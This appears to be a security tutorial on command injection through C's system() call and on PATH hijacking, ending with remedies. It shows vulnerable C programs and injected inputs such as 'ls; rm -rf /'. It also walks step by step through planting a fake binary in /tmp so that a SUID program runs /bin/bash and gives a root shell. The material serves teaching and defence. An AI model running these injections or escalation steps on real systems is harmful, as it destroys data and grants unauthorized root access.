The system() function in C is used to execute shell commands from within a C program. However, if user-supplied data is directly incorporated into the command string without proper validation and sanitization, it can lead to a command injection vulnerability. This allows an attacker to execute arbitrary commands on the underlying system with the privileges of the vulnerable program.
Exploiting Command Injection:
1. To exploit command injection, an attacker typically identifies a vulnerable program that incorporates user input into the system() function call without proper validation. Here’s an example:
#include <stdio.h> #include <stdlib.h> int main() { char command[100]; printf("Enter a command: "); scanf("%s", command); system(command); return 0; }
In this code snippet, the user’s input is directly incorporated into the command string, which is then passed to the system() function. If the input is not properly validated, an attacker can manipulate it to execute arbitrary commands. For example, by entering ls; rm -rf /, the attacker can execute the ls command followed by the dangerous rm -rf / command.
2. Using ltrace to find the calls, we see system() being called
- ltrace ./example1
- ls
3. We can now try to inject a command
- ltrace ./example1
- ls;date
Note: we see now the date output displayed
Exploiting Command Injection while Reading a File:
1. Let’s consider another example where a vulnerable program allows an attacker to execute arbitrary commands while reading a file:
#include <stdio.h> #include <stdlib.h> int main() { char filename[100]; printf("Enter a filename: "); scanf("%s", filename); char command[200]; sprintf(command, "cat %s", filename); printf("Executing command: %s\n", command); system(command); return 0; }
In this example, the program prompts the user for a filename and then constructs a command string to execute the cat command on the specified file. However, the input is not properly validated, allowing an attacker to inject arbitrary commands. For instance, if the user provides the input file.txt; rm -rf /, the attacker can execute the cat file.txt command followed by the dangerous rm -rf / command.
2. Running ltrace we find out the system call
- ltrace ./example2
- /etc/hosts
3. Exploiting this vulnerability we can inject commands
- ltrace ./example2
- /etc/hosts;date
Note: we see now the date output displayed
Subverting the PATH
If the programmer forgets to specify the full path for a binary, /bin/sh will check each of the locations on the PATH, in order until it finds an executable with the correct name, as soon as it finds one, it executes it with the permissions of the owner of the calling program. You can see how this could be used for privilege escalation, something under the control of one user results in something happening with another users permissions.
#include<stdio.h> int main() { system("ls"); return(0); }
1. Running program1 we can see that it prints the contents of the current directory
- ./program1
2. Running ltrace we can find out there is a system call
- ltrace ./program1
3. Since, the full path is not defined, we can try to alter the contents of the $PATH variable, $PATH variable in Linux is an environment variable that stores a list of directories where the operating system searches for executable files when a command is entered in the shell.
- echo $PATH
- PATH=/tmp:$PATH
- echo $PATH
4. We can now create a script in /tmp named ls, this new file needs to be set as executable
- echo “/bin/date” > /tmp/ls
- chmod 755 /tmp/ls
- ./program1
5. Knowing we could inject commands that would help us escalate priveleges, or even acquire persistence, such as adding a new user, or spawning a new shell with the privileges of the user that runs the app
Examples
[Example 1] Exploiting application system call
1. In this scenario there is an application that apparently reads a file, and, executes the contents of it. It has SUID file set, so if we get to exploit it, we could get elevated privileges.
- ls -l viewuser
- ./viewuser
2. We see /tmp/listusers file is not found. We will run ltrace to try to figure out, if there would be any system() call
- ltrace ./viewuser
3. Since, the script is executing system(), we can try to create a file in /tmp named as listusers file, we will enter /usr/bin/date command, and make this file as executable (making the file as executable could correct Permission denied error)
- echo “/usr/bin/date” > /tmp/listusers
- chmod a+x /tmp/listusers
4. Now running the application again, we don’t see the (sh: 1: /tmp/listusers: not found) error, instead we get the output of the /usr/bin/date command
5. Knowing we can execute a command we can now try to run a shell using /bin/bash
- echo “/bin/bash” > /tmp/listusers
- chmod a+x /tmp/listusers
6. Execute the script again, and we get root
- ./viewuser
- whoami
Remedy
- Input Validation: Validate the filename input to ensure it adheres to the expected file naming conventions. Reject any input that contains invalid characters or patterns.
- File Content Validation: Before executing the command obtained from the file, validate and sanitize the content to ensure it consists only of expected characters and patterns. Reject any content that does not adhere to the expected format.
- Restricted Command Execution: Consider implementing a restricted environment where only specific commands or a whitelist of allowed commands can be executed. This reduces the impact of potential command injection vulnerabilities.
- Also, use full paths when calling binaries, scripts or programs
Sources
https://failingsilently.wordpress.com/2017/09/08/exploiting-calls-to-system/